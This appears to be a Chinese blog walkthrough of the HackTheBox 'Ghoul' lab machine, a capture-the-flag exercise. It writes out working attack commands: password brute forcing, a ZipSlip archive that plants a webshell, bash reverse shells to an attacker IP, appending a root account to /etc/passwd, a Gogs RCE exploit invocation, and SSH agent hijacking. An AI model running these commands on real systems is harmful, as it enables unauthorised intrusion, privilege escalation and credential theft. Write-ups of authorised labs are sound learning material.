No.158-HackTheBox-Linux-Ghoul-Walkthrough渗透学习

    技术2025-01-27  12

    **

    HackTheBox-Linux-Ghoul-Walkthrough

    **

    靶机地址:https://www.hackthebox.eu/home/machines/profile/187 靶机难度:高级(3.3/10) 靶机发布日期:2019年11月13日 靶机描述: Ghoul is a hard difficulty linux box which tests enumeration and situational awareness skills. A zip file upload form is found to be vulnerable to ZipSlip, which can be used to upload a shell to the web server. A few readable SSH keys are found on the box which can be used to gain shells as other users. A user is found to have access to another host on the network. The second host is found to have an older version of Gogs server running. A git repo found on the Gogs server is found to contain sensitive information, which can be used to gain a shell as root. An incoming SSH connection is found to be using SSH agent forwarding, and can be hijacked to gain root shell on the host.

    作者:大余 时间:2020-07-06

    请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

    一、信息收集

    可以看到靶机的IP是10.10.10.101… nmap发现开放了SSH和Apache服务, 端口2222上还有另一个SSH服务器…发现Tomcat在端口8080上运行着… 看到了动漫的图片很炫酷…但是只有一些简单的用户名信息… 爆破目录获得了一些有用的信息…secret.php等…

    内容聊天提示网站的某个地方有RCE…Kaneki有一个远程服务器…有一个用于上传图片的艺术网站… 域渗透??文件上传?? 其中还有hash值,和最后的一串字符…先存着信息…

    爆破还获得了users目录页面…登陆页面… burpsuit拦截准备爆破看看… 命令:hydra -l admin -P /usr/share/seclists/Passwords/twitter-banned.txt 10.10.10.101 http-post-form "/users/login.php:Username=^USER^&Password=^PASS^&Submit=Login:Invalid Login Details" 爆破获得了用户名密码…去登陆… 魔鬼flag…此路不通… 8080页面也是需要登陆的页面… 尝试简单的admin/admin成功登陆… Google搜索恶意zip文件上传时,第一个链接是这篇来自Naked Security的文章,许多zip程序在解压缩zip文件时并未对路径进行遍历检查,还说了允许在Web进程可以写入的任何位置进行任意写入… 发生这种情况是因为zip文件存储的文件带有相对路径,相对于它们解压缩到的目录中漏洞在于,可以使用path将文件放入zip文件中…/…/…/…/…/…/…/…/…/…/etc/passwd,并且它将解压缩并尝试覆盖/etc/passwd主机上的文件… 命令:

    sudo cp cmd.php /var/www/html/ zip cmd.zip ../../../../../../var/www/html/cmd.php

    按照方法,做了个恶意ZIP文件… 成功上传… 命令:curl http://10.10.10.101/cmd.php --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.51/443 0>&1'" 在webshel​​l中运行基本的bash rev shell会给我回调外壳… 命令:openssl passwd dayu echo "rooot:KBzWUbGJVL4Kk:0:0:root:/root:/bin/bash" >> /etc/passwd 尝试zip再次使用此漏洞利用来覆盖/etc/passwd…创建好上传,覆盖了… 成功通过创建的ID,获得了root权限外壳… 通过root权限外壳,获得了user_flag信息… 命令:for i in {1..255}; do ping -c 1 172.20.0.$i; done | grep 'ttl=' 由于前面对话提示就知道目前渗透的领域是多台服务器跳转的…查看IP后,知道了目前所在的环境服务器是172.20.0.10IP…通过ping查询到了改段还存在172.20.0.150服务器… 并且这里还存在类似密码的信息提示… 命令:ssh -i id_rsa kaneki_pub@172.20.0.150 目前猜测0.150服务器是kaneki用户的…利用ssh登陆,并用对话中获得的密码…成功登陆… 继续查询IP情况,存在18段的服务器… 命令:for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done; 前面查找IP的太慢了…换了一个… 发现了172.18.0.2IP存在…1服务器应该是最终要到达的root_flag服务器吧…继续跳 虽然知道了172.18.0.2存在,但是为了准确认证下一步跳的服务器是哪儿…我上传了nmap进行扫描看看… 通过nmap发现了172.18.0.2服务器开放着3000端口…3000端口google找发现是gogs?? Gogs 是一款极易搭建的自助 Git 服务。 开发目的 Gogs 的目标是打造一个最简单、最快速和最轻松的方式搭建自助 Git 服务… 是这么解释的…

    命令:ssh -i id_rsa kaneki_pub@172.20.0.150 -L 3000:172.18.0.2:3000 将root对于3000端口的流量通过端口转发到本地kali上…因此,我需要先将流量转发到Aogiri服务器上…可看到成功转上去了 还发现了一个文本txt,读取后提示了用户名:AogiriTest 因为围绕着跳转,离不开ssh服务利用,回到前面172.20.0.10服务器上,读取ssh的key…因此可以继续从172.20.0.10(Aogiri)上跳转到本地kali上… 命令:ssh -i id_rsa root@10.10.10.101 -L 3000:localhost:3000

    现在流量在Aogiri服务器上,现在通过key将ssh服务端口转发到了本地…可以开始访问了 通过访问,果然是gogs搭建的…这是登陆页面…前面在转发中获得了用户名…还需要passwd 命令:grep -ir 'password=' / 2> /dev/null 在Aogiri服务器上,枚举到了密码信息…继续登陆 通过成功登陆,下方可以看到2018的gogs,应该存在漏洞…搜索试试 google发现了github 果然有EXP可利用… 下载查看帮助… 命令:python3 gogsownz.py http://127.0.0.1:3000 --creds 'AogiriTest:test@aogiri123' -n i_like_gogits --cleanup -v --rce '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.51/443 0>&1"' 这里有太多方法可以提权…通过下载的gogsownz,RCE漏洞利用… 可以克隆也可以覆盖,甚至各种方式提权… 我利用了最简单的…获得了外壳… 可看到这是git权限外壳下… 查询SUID,发现gosu感兴趣… 命令:gosu root:root /bin/bash 查看帮助,发现它以root用户的身份执行其他用户的命令,所以以root用户的身份执行bash… 还是无法读取root_flag…吐了… 发现两个文件…读取发现了用户名密码…name=kaneki&password=12345ILoveTouka!!!,,无用…尝试了… 另外的7z文件在此外壳下无法读取和查看… nc下载到本地… 通过7z解压后,查看到了文本内容…这是git的存储库… 命令:git show ORIG_HEAD 通过git存储卡google搜索,如何查找用户名密码…给了ORIG_HEAD提示…获得了用户名密码… 在kaneki-pc服务器上,成功的su进入了root权限…查看flag,说已经快成功了…哎…还是没到终点… 这里耽误了很久… 回看nmap发现了2222端口SSH还没使用过?? 上传pspy32…枚举下哪里在运行了SSH… 通过pspy枚举进程,发现会几分钟不定时的会运行执行bash ssh…google搜索相关资料,提示存在SSH代理劫持… https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/ 这篇文件详细的讲述了SSH代理劫持的此环节问题…很详细… 重新通过跳转登陆到了172.20.0.150服务器上…清理了/tmp目录… 可看到,太坑了这里,不定时的有时候4分钟,有时候4分多…会自动执行一次… 这次捕获到了,由于网络波动,很卡,继续等待,没成功… 命令:

    rm -rf ssh-* ls -la ssh-X2sLvGoeXy/ export SSH_AUTH_SOCK=/tmp/ssh-cat8vxxrs3/agent.1759 ssh-add -l ssh root@172.18.0.1 -p 2222

    根据SSH代理劫持文章的思路,获得了root权限…看看是不是最终的终点… 查看到了root_flag信息… 可看到此服务器的环境…good

    这台靶机我给予高级吧,有很多坑,主要很多坑… zip文件上传表单容易受到ZipSlip的攻击–可读的SSH密钥利用–较旧版本的Gogs服务器漏洞利用–在Gogs服务器上找到的git repo–SSH代理转发等等… 这台靶机学到了很新颖的思路,主要学习思路…技术都是硬的,思路是软的,思路会了对了,你就进步非常快了…感谢作者

    由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

    如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

    Processed: 0.010, SQL: 9